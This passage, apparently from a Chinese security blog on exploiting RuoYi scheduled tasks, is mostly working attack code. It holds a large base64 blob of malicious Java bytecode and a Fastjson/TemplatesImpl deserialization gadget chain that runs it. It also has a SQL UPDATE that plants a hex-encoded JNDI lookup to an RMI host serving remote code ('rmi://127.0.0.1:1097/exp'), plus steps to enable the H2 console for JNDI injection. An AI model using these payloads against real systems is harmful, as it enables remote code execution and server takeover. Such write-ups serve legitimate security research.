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");

byte[][] bytes = new byte[][]{decode};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", bytes);
setFieldValue(templates, "_name", "123");
setFieldValue(templates, "_class", null);

JSONArray objects = new JSONArray();
objects.add(templates);


BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
setFieldValue(bad,"val",objects);

HashMap hashMap = new HashMap();
hashMap.put(templates,bad);


ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./fj.bin"));
outputStream.writeObject(hashMap);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./fj.bin"));
inputStream.readObject();
}
}

参考

https://forum.butian.net/share/2796

https://github.com/SpringKill-team/SecurityInspector

一些定时任务可利用点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Map map =new HashMap<>();
String[] beanNames = beanFactory.getBeanDefinitionNames();
for(String beanName : beanNames){
String name1 = beanFactory.getBean(beanName).getClass().getName();
map.put(beanName, name1);
}
return map;




//调bean去执行sql
jdbcTemplate.execute('UPDATE sys_job SET invoke_target = 0x6a617661782e6e616d696e672e6c6461702e496e697469616c4c646170436f6e746578742e6c6f6f6b75702827726d693a2f2f3132372e302e302e313a313039372f6578702729 WHERE job_id = 4');


//h2 2.0.206 修复控制台jndi连接,仅仅允许java:开头
// "spring.h2.console-org.springframework.boot.autoconfigure.h2.H2ConsoleProperties" -> "org.springframework.boot.autoconfigure.h2.H2ConsoleProperties" 开启控制台

spring.h2.console-org.springframework.boot.autoconfigure.h2.H2ConsoleProperties.setEnabled(true);
然后访问h2->jndi工具

image-20241202001742145

image-20241202001754398


ruoyi定时任务浅析
https://unam4.github.io/2024/10/26/ruoyi定时任务浅析/
作者
unam4
发布于
2024年10月26日
许可协议